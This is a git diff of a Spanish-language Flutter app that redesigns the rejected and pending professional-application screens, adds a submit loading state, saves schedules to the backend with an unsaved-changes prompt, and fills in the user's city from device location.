body: const Center(child: Text('Cuenta denegada')),
|
||||
body: SafeArea(
|
||||
child: SingleChildScrollView(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 28, vertical: 40),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.center,
|
||||
children: [
|
||||
Container(
|
||||
width: 88,
|
||||
height: 88,
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFFFFEBEE),
|
||||
shape: BoxShape.circle,
|
||||
),
|
||||
child: const Icon(Icons.cancel_outlined,
|
||||
color: Color(0xFFE53935), size: 48),
|
||||
),
|
||||
const SizedBox(height: 24),
|
||||
const Text(
|
||||
'Solicitud rechazada',
|
||||
style: TextStyle(
|
||||
fontSize: 22,
|
||||
fontWeight: FontWeight.bold,
|
||||
color: Color(0xFF1A1A2E)),
|
||||
textAlign: TextAlign.center,
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
const Text(
|
||||
'Tu solicitud para convertirte en profesional no fue aprobada. Esto puede deberse a información incompleta o documentación no válida.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 14, color: Colors.grey, height: 1.5),
|
||||
),
|
||||
const SizedBox(height: 32),
|
||||
Container(
|
||||
width: double.infinity,
|
||||
padding: const EdgeInsets.all(20),
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFFFFF3E0),
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
border: Border.all(
|
||||
color: const Color(0xFFFFCC02).withOpacity(0.4)),
|
||||
),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: const [
|
||||
Row(
|
||||
children: [
|
||||
Icon(Icons.info_outline,
|
||||
color: Color(0xFFF57C00), size: 20),
|
||||
SizedBox(width: 8),
|
||||
Text('¿Qué puedo hacer?',
|
||||
style: TextStyle(
|
||||
fontWeight: FontWeight.w600,
|
||||
color: Color(0xFFF57C00))),
|
||||
],
|
||||
),
|
||||
SizedBox(height: 12),
|
||||
_BulletPoint(text: 'Verifica que todos tus datos sean correctos'),
|
||||
_BulletPoint(
|
||||
text: 'Asegúrate de haber adjuntado los documentos requeridos'),
|
||||
_BulletPoint(
|
||||
text: 'Vuelve a registrarte como profesional con la información actualizada'),
|
||||
_BulletPoint(text: 'Contacta a soporte si crees que fue un error'),
|
||||
],
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 32),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton.icon(
|
||||
onPressed: (canRetry && !_isResetting) ? _confirmRetry : null,
|
||||
icon: _isResetting
|
||||
? const SizedBox(
|
||||
width: 16,
|
||||
height: 16,
|
||||
child: CircularProgressIndicator(
|
||||
strokeWidth: 2, color: Colors.white),
|
||||
)
|
||||
: const Icon(Icons.refresh),
|
||||
label: const Text('Volver a registrarme'),
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: const Color(0xFF42A4EF),
|
||||
foregroundColor: Colors.white,
|
||||
disabledBackgroundColor: Colors.grey.shade300,
|
||||
padding: const EdgeInsets.symmetric(vertical: 16),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(12)),
|
||||
elevation: 0,
|
||||
),
|
||||
),
|
||||
),
|
||||
if (!canRetry && !_loadingSettings) ...[
|
||||
const SizedBox(height: 8),
|
||||
Text(
|
||||
'Podrás volver a intentarlo en $daysLeft día${daysLeft == 1 ? '' : 's'}',
|
||||
textAlign: TextAlign.center,
|
||||
style: const TextStyle(fontSize: 12, color: Colors.grey),
|
||||
),
|
||||
],
|
||||
const SizedBox(height: 12),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: OutlinedButton.icon(
|
||||
onPressed: () => context
|
||||
.read<AuthenticationBloc>()
|
||||
.add(AuthenticationLogoutRequested()),
|
||||
icon: const Icon(Icons.logout),
|
||||
label: const Text('Cerrar sesión'),
|
||||
style: OutlinedButton.styleFrom(
|
||||
foregroundColor: Colors.grey,
|
||||
padding: const EdgeInsets.symmetric(vertical: 14),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(12)),
|
||||
side: const BorderSide(color: Colors.grey),
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _BulletPoint extends StatelessWidget {
|
||||
final String text;
|
||||
const _BulletPoint({required this.text});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Padding(
|
||||
padding: const EdgeInsets.only(bottom: 6),
|
||||
child: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const Text('• ', style: TextStyle(color: Color(0xFFF57C00), fontWeight: FontWeight.bold)),
|
||||
Expanded(child: Text(text, style: const TextStyle(fontSize: 13, color: Color(0xFF5D4037)))),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -30,6 +30,8 @@ class _ProfessionalFormScreenState extends State<ProfessionalFormScreen> {
|
||||
PlatformFile? _certificadoPdfFile;
|
||||
List<PlatformFile>? _especializacionesPdfFiles = [];
|
||||
|
||||
bool _isSubmitting = false;
|
||||
|
||||
late final AuthBloc authBloc;
|
||||
|
||||
@override
|
||||
@@ -50,6 +52,36 @@ class _ProfessionalFormScreenState extends State<ProfessionalFormScreen> {
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<AuthBloc>(
|
||||
create: (context) => authBloc,
|
||||
child: BlocListener<ProfessionalBloc, ProfessionalState>(
|
||||
listener: (context, professionalState) {
|
||||
if (professionalState is SendProfessionalToReviewLoading) {
|
||||
setState(() => _isSubmitting = true);
|
||||
} else if (professionalState is SendProfessionalToReviewSuccess) {
|
||||
setState(() => _isSubmitting = false);
|
||||
|
||||
// The picture upload only runs once the application actually landed.
|
||||
final user = context.read<MyUserBloc>().state.user;
|
||||
if (user != null) {
|
||||
context.read<ProfileBloc>().add(UpdateUserInfo(
|
||||
myUser: user.copyWith(proState: ProState.pending),
|
||||
filePicture: _imageFile?.path));
|
||||
}
|
||||
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Información enviada a revisión')),
|
||||
);
|
||||
Navigator.pop(context);
|
||||
} else if (professionalState is SendProfessionalToReviewFailure) {
|
||||
setState(() => _isSubmitting = false);
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'No se pudo enviar tu solicitud. Revisa tu conexión e inténtalo de nuevo.')),
|
||||
);
|
||||
}
|
||||
},
|
||||
child: Scaffold(
|
||||
appBar: AppBar(
|
||||
title: const Text('Perfil profesional'),
|
||||
@@ -247,9 +279,20 @@ class _ProfessionalFormScreenState extends State<ProfessionalFormScreen> {
|
||||
horizontal: 15,
|
||||
),
|
||||
child: FilledButton(
|
||||
onPressed: () {
|
||||
onPressed: _isSubmitting
|
||||
? null
|
||||
: () {
|
||||
final userId =
|
||||
context.read<MyUserBloc>().state.user!.id;
|
||||
context.read<MyUserBloc>().state.user?.id;
|
||||
|
||||
if (userId == null) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'No se pudo identificar tu usuario, vuelve a iniciar sesión')));
|
||||
return;
|
||||
}
|
||||
|
||||
final String? cedulaPdfPath = _cedulaPdfFile?.path;
|
||||
final String? certificadoPdfPath =
|
||||
@@ -300,20 +343,6 @@ class _ProfessionalFormScreenState extends State<ProfessionalFormScreen> {
|
||||
specializationsPictures:
|
||||
especializacionesPdfPaths,
|
||||
));
|
||||
|
||||
final myUser =
|
||||
state.user!.copyWith(proState: ProState.pending);
|
||||
|
||||
context.read<ProfileBloc>().add(UpdateUserInfo(
|
||||
myUser: myUser, filePicture: _imageFile?.path));
|
||||
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text('Información enviada a revisión')),
|
||||
);
|
||||
|
||||
Navigator.pop(context);
|
||||
},
|
||||
style: FilledButton.styleFrom(
|
||||
backgroundColor: Theme.of(context).colorScheme.primary,
|
||||
@@ -325,7 +354,14 @@ class _ProfessionalFormScreenState extends State<ProfessionalFormScreen> {
|
||||
child: Container(
|
||||
alignment: Alignment.center,
|
||||
width: double.infinity,
|
||||
child: const Text(
|
||||
child: _isSubmitting
|
||||
? const SizedBox(
|
||||
height: 22,
|
||||
width: 22,
|
||||
child: CircularProgressIndicator(
|
||||
strokeWidth: 2, color: Colors.white),
|
||||
)
|
||||
: const Text(
|
||||
'Enviar a revisión',
|
||||
style: TextStyle(
|
||||
color: Colors.white,
|
||||
@@ -339,6 +375,7 @@ class _ProfessionalFormScreenState extends State<ProfessionalFormScreen> {
|
||||
},
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,75 +1,98 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:prosappco/blocs/authentication_bloc/authentication_bloc.dart';
|
||||
|
||||
class ProfessionalPendingScreen extends StatelessWidget {
|
||||
const ProfessionalPendingScreen({Key? key}) : super(key: key);
|
||||
const ProfessionalPendingScreen({super.key});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Scaffold(
|
||||
appBar: AppBar(title: const Text('Perfil profesional')),
|
||||
body: SingleChildScrollView(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.only(top: 40),
|
||||
body: SafeArea(
|
||||
child: SingleChildScrollView(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 28, vertical: 40),
|
||||
child: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
crossAxisAlignment: CrossAxisAlignment.center,
|
||||
children: [
|
||||
const Row(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
Icon(
|
||||
Icons.access_time,
|
||||
color: Color(0xFF2BA4EC),
|
||||
),
|
||||
SizedBox(width: 8),
|
||||
Text(
|
||||
'Información en revisión',
|
||||
style: TextStyle(
|
||||
color: Color(0xFF2BA4EC),
|
||||
fontSize: 17,
|
||||
fontWeight: FontWeight.w500,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
Image(
|
||||
image: const AssetImage('images/checklist.gif'),
|
||||
width: MediaQuery.of(context).size.width * 0.7,
|
||||
),
|
||||
Container(
|
||||
margin: const EdgeInsets.only(left: 40, right: 40, top: 20),
|
||||
width: 88,
|
||||
height: 88,
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFFD6F4FF),
|
||||
borderRadius: BorderRadius.circular(30),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: Colors.grey.withOpacity(0.5),
|
||||
spreadRadius: 2,
|
||||
blurRadius: 5,
|
||||
offset: const Offset(0, 3),
|
||||
color: const Color(0xFFE3F2FD),
|
||||
shape: BoxShape.circle,
|
||||
),
|
||||
child: const Icon(Icons.hourglass_top_rounded, color: Color(0xFF42A4EF), size: 48),
|
||||
),
|
||||
const SizedBox(height: 24),
|
||||
const Text(
|
||||
'Solicitud en revisión',
|
||||
style: TextStyle(fontSize: 22, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
|
||||
textAlign: TextAlign.center,
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
const Text(
|
||||
'Recibimos tu información y la estamos revisando. Te notificaremos en cuanto tu perfil profesional sea aprobado.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 14, color: Colors.grey, height: 1.5),
|
||||
),
|
||||
const SizedBox(height: 32),
|
||||
_StepCard(
|
||||
step: '1',
|
||||
icon: Icons.upload_file_outlined,
|
||||
title: 'Información enviada',
|
||||
subtitle: 'Recibimos tu solicitud y documentos',
|
||||
done: true,
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
_StepCard(
|
||||
step: '2',
|
||||
icon: Icons.manage_search_outlined,
|
||||
title: 'En revisión',
|
||||
subtitle: 'Nuestro equipo está verificando tus datos',
|
||||
active: true,
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
_StepCard(
|
||||
step: '3',
|
||||
icon: Icons.verified_outlined,
|
||||
title: 'Aprobación',
|
||||
subtitle: 'Recibirás una notificación cuando esté listo',
|
||||
),
|
||||
const SizedBox(height: 36),
|
||||
Container(
|
||||
width: double.infinity,
|
||||
padding: const EdgeInsets.all(16),
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFFF5F8FF),
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
border: Border.all(color: const Color(0xFFBBDEFB)),
|
||||
),
|
||||
child: Row(
|
||||
children: const [
|
||||
Icon(Icons.notifications_active_outlined, color: Color(0xFF42A4EF)),
|
||||
SizedBox(width: 12),
|
||||
Expanded(
|
||||
child: Text(
|
||||
'Asegúrate de tener las notificaciones activas para recibir el aviso de aprobación.',
|
||||
style: TextStyle(fontSize: 13, color: Color(0xFF1565C0)),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
padding:
|
||||
const EdgeInsets.symmetric(vertical: 15, horizontal: 25),
|
||||
child: Column(
|
||||
children: [
|
||||
),
|
||||
const SizedBox(height: 32),
|
||||
SizedBox(
|
||||
width: MediaQuery.of(context).size.width * 0.8,
|
||||
child: const Column(
|
||||
children: [
|
||||
Text(
|
||||
'Gracias por proporcionar tu información. Actualmente, estamos revisando tus datos y una vez aprobados, podrás acceder al perfil profesional sin problemas. Te notificaremos tan pronto como tu cuenta esté lista.',
|
||||
style: TextStyle(fontSize: 14),
|
||||
width: double.infinity,
|
||||
child: OutlinedButton.icon(
|
||||
onPressed: () => context.read<AuthenticationBloc>().add(AuthenticationLogoutRequested()),
|
||||
icon: const Icon(Icons.logout),
|
||||
label: const Text('Cerrar sesión'),
|
||||
style: OutlinedButton.styleFrom(
|
||||
foregroundColor: Colors.grey,
|
||||
padding: const EdgeInsets.symmetric(vertical: 14),
|
||||
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
side: const BorderSide(color: Colors.grey),
|
||||
),
|
||||
SizedBox(height: 10),
|
||||
Text(
|
||||
'¡Gracias por tu paciencia!',
|
||||
style: TextStyle(fontSize: 14),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
@@ -79,3 +102,74 @@ class ProfessionalPendingScreen extends StatelessWidget {
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StepCard extends StatelessWidget {
|
||||
final String step;
|
||||
final IconData icon;
|
||||
final String title;
|
||||
final String subtitle;
|
||||
final bool done;
|
||||
final bool active;
|
||||
|
||||
const _StepCard({
|
||||
required this.step,
|
||||
required this.icon,
|
||||
required this.title,
|
||||
required this.subtitle,
|
||||
this.done = false,
|
||||
this.active = false,
|
||||
});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final Color bg = done
|
||||
? const Color(0xFFE8F5E9)
|
||||
: active
|
||||
? const Color(0xFFE3F2FD)
|
||||
: const Color(0xFFF5F5F5);
|
||||
final Color iconColor = done
|
||||
? const Color(0xFF43A047)
|
||||
: active
|
||||
? const Color(0xFF42A4EF)
|
||||
: Colors.grey;
|
||||
final Color borderColor = done
|
||||
? const Color(0xFFA5D6A7)
|
||||
: active
|
||||
? const Color(0xFF90CAF9)
|
||||
: const Color(0xFFE0E0E0);
|
||||
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 16, vertical: 14),
|
||||
decoration: BoxDecoration(
|
||||
color: bg,
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
border: Border.all(color: borderColor),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
Container(
|
||||
width: 40,
|
||||
height: 40,
|
||||
decoration: BoxDecoration(
|
||||
color: done ? const Color(0xFF43A047) : active ? const Color(0xFF42A4EF) : Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
),
|
||||
child: done
|
||||
? const Icon(Icons.check, color: Colors.white, size: 20)
|
||||
: Icon(icon, color: active ? Colors.white : Colors.grey, size: 20),
|
||||
),
|
||||
const SizedBox(width: 14),
|
||||
Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(title, style: TextStyle(fontWeight: FontWeight.w600, color: iconColor)),
|
||||
Text(subtitle, style: const TextStyle(fontSize: 12, color: Colors.grey)),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,7 +1,9 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
import 'package:prosappco/components/general_primary_button.dart';
|
||||
import 'package:prosappco/screens/professional/components/schedule_item.dart';
|
||||
import 'package:prosappco/utils/schedule_validation.dart';
|
||||
|
||||
class ProfessionalScheduleScreen extends StatefulWidget {
|
||||
Schedules schedules;
|
||||
@@ -17,16 +19,85 @@ class ProfessionalScheduleScreen extends StatefulWidget {
|
||||
|
||||
class _ProfessionalScheduleScreenState
|
||||
extends State<ProfessionalScheduleScreen> {
|
||||
final _repo = Injector.appInstance.get<ApiProfessionalRepository>();
|
||||
Schedules schedules = Schedules.empty;
|
||||
bool _saving = false;
|
||||
bool _dirty = false;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
schedules = widget.schedules;
|
||||
}
|
||||
|
||||
void _update(Schedules next) {
|
||||
setState(() {
|
||||
schedules = next;
|
||||
_dirty = true;
|
||||
});
|
||||
}
|
||||
|
||||
/// Saving now writes to the backend instead of just handing the object back:
|
||||
/// the old flow depended on the profile screen being saved afterwards, so
|
||||
/// leaving without that second save silently discarded everything.
|
||||
Future<void> _save() async {
|
||||
final problems = validateSchedules(schedules);
|
||||
if (problems.isNotEmpty) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
SnackBar(content: Text(problems.first)),
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
setState(() => _saving = true);
|
||||
try {
|
||||
await _repo.updateSchedules(schedules);
|
||||
if (!mounted) return;
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Horario guardado')),
|
||||
);
|
||||
Navigator.of(context).pop(schedules);
|
||||
} catch (e) {
|
||||
if (!mounted) return;
|
||||
setState(() => _saving = false);
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'No se pudo guardar el horario. Revisa tu conexión e inténtalo de nuevo.')),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Future<bool> _confirmLeave() async {
|
||||
if (!_dirty || _saving) return true;
|
||||
final leave = await showDialog<bool>(
|
||||
context: context,
|
||||
builder: (ctx) => AlertDialog(
|
||||
title: const Text('¿Salir sin guardar?'),
|
||||
content: const Text('Perderás los cambios que hiciste en tu horario.'),
|
||||
actions: [
|
||||
TextButton(
|
||||
onPressed: () => Navigator.pop(ctx, false),
|
||||
child: const Text('Seguir editando')),
|
||||
TextButton(
|
||||
onPressed: () => Navigator.pop(ctx, true),
|
||||
child: const Text('Salir sin guardar')),
|
||||
],
|
||||
),
|
||||
);
|
||||
return leave ?? false;
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Scaffold(
|
||||
return PopScope(
|
||||
canPop: false,
|
||||
onPopInvoked: (didPop) async {
|
||||
if (didPop) return;
|
||||
if (await _confirmLeave() && mounted) Navigator.of(context).pop();
|
||||
},
|
||||
child: Scaffold(
|
||||
appBar: AppBar(
|
||||
title: const Text('Horario'),
|
||||
),
|
||||
@@ -39,63 +110,62 @@ class _ProfessionalScheduleScreenState
|
||||
label: "Lunes",
|
||||
schedule: schedules.monday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(monday: s));
|
||||
_update(schedules.copyWith(monday: s));
|
||||
},
|
||||
),
|
||||
ScheduleItem(
|
||||
label: "Martes",
|
||||
schedule: schedules.tuesday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(tuesday: s));
|
||||
_update(schedules.copyWith(tuesday: s));
|
||||
},
|
||||
),
|
||||
ScheduleItem(
|
||||
label: "Miercoles",
|
||||
schedule: schedules.wednesday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(wednesday: s));
|
||||
_update(schedules.copyWith(wednesday: s));
|
||||
},
|
||||
),
|
||||
ScheduleItem(
|
||||
label: "Jueves",
|
||||
schedule: schedules.thursday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(thursday: s));
|
||||
_update(schedules.copyWith(thursday: s));
|
||||
},
|
||||
),
|
||||
ScheduleItem(
|
||||
label: "Viernes",
|
||||
schedule: schedules.friday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(friday: s));
|
||||
_update(schedules.copyWith(friday: s));
|
||||
},
|
||||
),
|
||||
ScheduleItem(
|
||||
label: "Sabado",
|
||||
schedule: schedules.saturday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(saturday: s));
|
||||
_update(schedules.copyWith(saturday: s));
|
||||
},
|
||||
),
|
||||
ScheduleItem(
|
||||
label: "Domingo",
|
||||
schedule: schedules.sunday,
|
||||
onChanged: (s) {
|
||||
setState(() => schedules = schedules.copyWith(sunday: s));
|
||||
_update(schedules.copyWith(sunday: s));
|
||||
},
|
||||
),
|
||||
const SizedBox(height: 20),
|
||||
GeneralPrimaryButton(
|
||||
label: "Guardar",
|
||||
onPressed: () {
|
||||
Navigator.of(context).pop(schedules);
|
||||
},
|
||||
label: _saving ? "Guardando…" : "Guardar",
|
||||
onPressed: _saving ? () {} : _save,
|
||||
),
|
||||
const SizedBox(height: 20),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,10 @@
|
||||
import 'dart:io';
|
||||
import 'package:city_repository/city_repository.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:geolocator/geolocator.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:intl/intl.dart';
|
||||
import 'package:intl_phone_field/helpers.dart';
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:image_picker/image_picker.dart';
|
||||
@@ -15,6 +18,19 @@ import 'package:prosappco/screens/profile/components/profile_item.dart';
|
||||
import 'package:prosappco/screens/profile/profile_register_email_screen.dart';
|
||||
import 'package:prosappco/screens/profile/profile_register_phone_screen.dart';
|
||||
import 'package:prosappco/screens/profile/profile_update_password_screen.dart';
|
||||
import 'package:prosappco/utils/nominatim_geocoder.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get card => _t.cardColor;
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.05);
|
||||
}
|
||||
|
||||
class ProfileScreen extends StatefulWidget {
|
||||
const ProfileScreen({super.key});
|
||||
@@ -27,14 +43,13 @@ class _ProfileScreenState extends State<ProfileScreen> {
|
||||
final TextEditingController _nameController = TextEditingController();
|
||||
final TextEditingController _cityController = TextEditingController();
|
||||
final TextEditingController _emailController = TextEditingController();
|
||||
final TextEditingController _newEmailController = TextEditingController();
|
||||
final TextEditingController _phoneController = TextEditingController();
|
||||
final TextEditingController _birthdayController = TextEditingController();
|
||||
final TextEditingController _genderController = TextEditingController();
|
||||
final TextEditingController _passwordController = TextEditingController();
|
||||
|
||||
XFile? _imageFile;
|
||||
bool isLoading = false;
|
||||
bool _isLocating = false;
|
||||
|
||||
late final AuthBloc authBloc;
|
||||
|
||||
@@ -49,44 +64,97 @@ class _ProfileScreenState extends State<ProfileScreen> {
|
||||
_nameController.dispose();
|
||||
_cityController.dispose();
|
||||
_emailController.dispose();
|
||||
_newEmailController.dispose();
|
||||
_phoneController.dispose();
|
||||
_birthdayController.dispose();
|
||||
_genderController.dispose();
|
||||
_passwordController.dispose();
|
||||
|
||||
super.dispose();
|
||||
}
|
||||
|
||||
Future<void> _useMyLocation() async {
|
||||
setState(() => _isLocating = true);
|
||||
try {
|
||||
bool serviceEnabled = await Geolocator.isLocationServiceEnabled();
|
||||
if (!serviceEnabled) throw Exception('Location services disabled');
|
||||
|
||||
LocationPermission permission = await Geolocator.checkPermission();
|
||||
if (permission == LocationPermission.denied) {
|
||||
permission = await Geolocator.requestPermission();
|
||||
}
|
||||
if (permission == LocationPermission.denied ||
|
||||
permission == LocationPermission.deniedForever) {
|
||||
throw Exception('Location permission denied');
|
||||
}
|
||||
|
||||
final position = await Geolocator.getCurrentPosition();
|
||||
final cityName = await NominatimGeocoder.reverseGeocodeCity(
|
||||
position.latitude, position.longitude);
|
||||
|
||||
if (cityName == null) throw Exception('City not resolved');
|
||||
|
||||
final cities =
|
||||
await Injector.appInstance.get<CityRepository>().getCities();
|
||||
final normalized = removeDiacritics(cityName.toLowerCase().trim());
|
||||
|
||||
CityUi? match;
|
||||
for (final c in cities) {
|
||||
if (removeDiacritics(c.cityName.toLowerCase().trim()) == normalized) {
|
||||
match = c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (match == null) {
|
||||
for (final c in cities) {
|
||||
final cName = removeDiacritics(c.cityName.toLowerCase());
|
||||
if (cName.contains(normalized) || normalized.contains(cName)) {
|
||||
match = c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!mounted) return;
|
||||
if (match != null) {
|
||||
setState(() => _cityController.text = match!.cityName);
|
||||
} else {
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text(
|
||||
'No encontramos tu ciudad en la lista, selecciónala manualmente'),
|
||||
));
|
||||
}
|
||||
} catch (_) {
|
||||
if (!mounted) return;
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text('No se pudo obtener tu ubicación, selecciona tu ciudad manualmente'),
|
||||
));
|
||||
} finally {
|
||||
if (mounted) setState(() => _isLocating = false);
|
||||
}
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<AuthBloc>(
|
||||
create: (context) => authBloc,
|
||||
create: (_) => authBloc,
|
||||
child: BlocListener<ProfileBloc, ProfileState>(
|
||||
listener: (context, state) {
|
||||
if (state is UpdateUserInfoLoading) {
|
||||
setState(() {
|
||||
isLoading = true;
|
||||
});
|
||||
setState(() => isLoading = true);
|
||||
} else if (state is UpdateUserInfoSuccess) {
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text('Información actualizada'),
|
||||
));
|
||||
setState(() {
|
||||
isLoading = false;
|
||||
});
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Información actualizada')));
|
||||
setState(() => isLoading = false);
|
||||
} else if (state is UpdateUserInfoFailure) {
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text('Error al actualizar la información'),
|
||||
));
|
||||
setState(() {
|
||||
isLoading = false;
|
||||
});
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Error al actualizar')));
|
||||
setState(() => isLoading = false);
|
||||
}
|
||||
},
|
||||
child: Scaffold(
|
||||
appBar: AppBar(
|
||||
title: const Text('Perfil'),
|
||||
title: const Text('Mi perfil'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: BlocBuilder<MyUserBloc, MyUserState>(
|
||||
builder: (context, state) {
|
||||
@@ -102,195 +170,21 @@ class _ProfileScreenState extends State<ProfileScreen> {
|
||||
children: [
|
||||
Expanded(
|
||||
child: SingleChildScrollView(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 40, vertical: 10),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.stretch,
|
||||
children: [
|
||||
pictureWidget(state, context),
|
||||
const SizedBox(height: 30),
|
||||
TextFormField(
|
||||
controller: _nameController,
|
||||
decoration: const InputDecoration(
|
||||
labelText: 'Nombre',
|
||||
prefixIcon: Icon(Icons.person),
|
||||
hintText: 'Nombre (obligatorio)',
|
||||
border: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.all(
|
||||
Radius.circular(10.0),
|
||||
)),
|
||||
errorBorder: OutlineInputBorder(
|
||||
borderSide: BorderSide(color: Colors.red),
|
||||
),
|
||||
focusedErrorBorder: OutlineInputBorder(
|
||||
borderSide: BorderSide(
|
||||
color: Colors.red, width: 2.0),
|
||||
),
|
||||
),
|
||||
validator: (value) {
|
||||
if (value == null || value.isEmpty) {
|
||||
return 'Por favor, ingrese su nombre';
|
||||
}
|
||||
return null;
|
||||
},
|
||||
),
|
||||
